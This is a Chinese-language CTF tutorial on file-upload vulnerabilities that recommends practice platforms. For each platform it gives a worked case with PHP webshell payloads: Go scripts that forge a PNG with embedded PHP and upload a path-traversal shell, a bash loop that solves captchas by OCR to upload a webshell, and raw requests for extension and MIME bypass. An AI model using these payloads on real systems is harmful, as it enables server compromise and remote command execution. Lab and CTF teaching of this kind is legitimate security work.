一、从真实攻防案例说起

某次CTF比赛中,有一道名为“文件快递员”的Web题目让我印象深刻。题目描述了一个在线文件上传平台,用户可以通过它上传文件并获得一个下载链接,但后台存在某种逻辑错误,导致攻击者能够利用文件上传功能实现代码执行。比赛中,我利用这个漏洞成功Get了flag,并对整个攻击链进行了详细复盘。

这类文件上传漏洞往往出现在实际的Web系统中,且利用方式多样,非常具有研究价值。在今天的文章中,我会结合这次比赛的经验,分享几个适合练习文件上传漏洞的CTF平台,并附上相关利用案例和技术细节。

---

二、0x01 攻防演练的最佳场所

CTF比赛平台是安全技术爱好者提升实战能力的绝佳场所。它们不仅提供了海量的漏洞练习机会,还能帮助你了解攻击链的完整流程。以下是我个人推荐的几个CTF平台,每个平台都有其独特的技术亮点和实战案例。

1. Hack The Box:主机渗透的“游乐场”

Hack The Box(HTB)以主机渗透和内网突破为主,适合想要练习综合性攻击链的选手。平台上的靶机覆盖了从Web到网络协议的各种漏洞场景。

黑客示意图

实战案例:从文件上传到RCE

一次HTB挑战中,我们需要攻破一台Apache服务器,起点是一个文件上传功能。通过Burp Suite拦截上传请求,我发现服务器对文件后缀名进行了严格检查,只允许上传.png格式的文件。然而上传的文件并未经过内容检查,于是我尝试在文件中嵌入PHP代码,并通过以下方式绕过后缀名限制:

<pre><code class="language-go">// Go语言实现文件后缀名伪造 package main

import ( &quot;os&quot; &quot;fmt&quot; )

func main() { // 创建伪造PNG文件 payload := &quot;&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;&quot; file, err := os.Create(&quot;exploit.png&quot;) if err != nil { fmt.Println(&quot;创建文件失败:&quot;, err) return }

file.WriteString(&quot;PNG HEADER BYPASS\n&quot;) file.WriteString(payload) file.Close()

fmt.Println(&quot;伪造文件创建成功: exploit.png&quot;) }</code></pre>

上传exploit.png后,通过访问http://target/uploads/exploit.png?cmd=id,成功执行了id命令,进一步利用命令执行权限实现了内网渗透。这种文件上传绕过方式在HTB靶机中非常常见。

---

2. VulnHub:漏洞场景的“宝藏库”

VulnHub是一家免费提供渗透测试靶机的平台,用户可以下载虚拟机并在本地搭建靶场。与HTB不同,VulnHub更偏向于真实环境模拟,适合练习复杂漏洞链。

实战案例:绕过图片验证码触发漏洞

某个靶机中,为了防止恶意上传,上传接口加入了图片验证码机制,但开发者的验证逻辑存在疏漏。我通过以下Shell脚本自动破解了验证码:

<pre><code class="language-bash">#!/bin/bash

自动化解码图片验证码

for i in {1..100} do

下载验证码图片

curl -s -o captcha.png http://target/captcha

OCR识别验证码

captcha=$(tesseract captcha.png stdout 2&gt;/dev/null | tr -d &#039;\n&#039;)

提交验证码并上传恶意文件

curl -s -F &quot;[email protected]&quot; -F &quot;captcha=${captcha}&quot; http://target/upload done</code></pre>

通过这种方式,我成功绕过了验证码限制并上传了WebShell文件,实现了进一步的权限提升。

黑客示意图

---

3. TryHackMe:适合初学者的启航平台

TryHackMe以引导式靶场著称,非常适合刚入门的安全爱好者。它的场景设计清晰,每个步骤都有详细的提示,非常适合系统性学习。

实战案例:文件名拼接漏洞

某TryHackMe题目模拟了一个文件上传功能,但开发者在保存文件时,将用户上传的文件名与路径直接拼接,导致了路径穿越漏洞。例如,上传文件名为../../shell.php时,文件会被写入目标目录/var/www/html/shell.php

以下是构造Payload的简单示例:

<pre><code class="language-go">// Go语言生成路径穿越Payload package main

import ( &quot;net/http&quot; &quot;bytes&quot; &quot;fmt&quot; )

黑客示意图

func main() { url := &quot;http://target/upload&quot;

// 构造路径穿越文件名 filename := &quot;../../shell.php&quot; payload := &quot;&lt;?php echo shell_exec($_GET[&#039;cmd&#039;]); ?&gt;&quot; body := &amp;bytes.Buffer{} body.WriteString(&quot;--boundary\n&quot;) body.WriteString(&quot;Content-Disposition: form-data; name=\&quot;file\&quot;; filename=\&quot;&quot; + filename + &quot;\&quot;\n\n&quot;) body.WriteString(payload + &quot;\n&quot;) body.WriteString(&quot;--boundary--\n&quot;)

req, _ := http.NewRequest(&quot;POST&quot;, url, body) req.Header.Set(&quot;Content-Type&quot;, &quot;multipart/form-data; boundary=boundary&quot;) resp, _ := http.DefaultClient.Do(req)

fmt.Println(&quot;上传结果:&quot;, resp.Status) }</code></pre>

通过这种路径穿越漏洞,我将WebShell写入了目标路径,并最终完成了整个靶机的渗透流程。

---

三、Payload构造的艺术

了解CTF平台后,我们还需要掌握Payload的构造技巧。文件上传漏洞的Payload构造直接影响攻击结果。以下是常见的几种构造方式:

1. 后缀名绕过

通过伪造文件后缀名绕过验证,如.php改为.php;.jpg

<pre><code class="language-bash">mv shell.php shell.php.jpg curl -F &quot;[email protected]&quot; http://target/upload</code></pre>

2. MIME类型伪造

一些平台会验证文件的MIME类型,使用Burp Suite即可轻松篡改。

<pre><code class="language-bash">POST /upload HTTP/1.1 Content-Type: image/png Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;shell.php&quot;

&lt;?php echo shell_exec($_GET[&#039;cmd&#039;]); ?&gt;</code></pre>

3. 文件名混淆

利用文件名中的特殊符号干扰解析逻辑,例如..%2fshell.php

---

四、个人经验分享

通过多年的CTF比赛经验,我总结出以下几点心得:

  • 不要忽略细节:文件上传漏洞通常隐藏在细小的逻辑疏漏中,比如文件名、路径处理。
  • 灵活使用工具:Burp Suite、Go、Python都是构造Payload的利器,但手动分析仍是根本。
  • 多复盘:比赛后一定要复盘,分析攻击链中的每个环节,提炼出通用的利用模式。

CTF比赛不仅让人过瘾,还能让你在实战中学习到最新的攻击技巧。在这里推荐的几个平台,都是我认为最值得投入时间的练习场所。希望你也能从中找到乐趣,提升自己的攻击能力!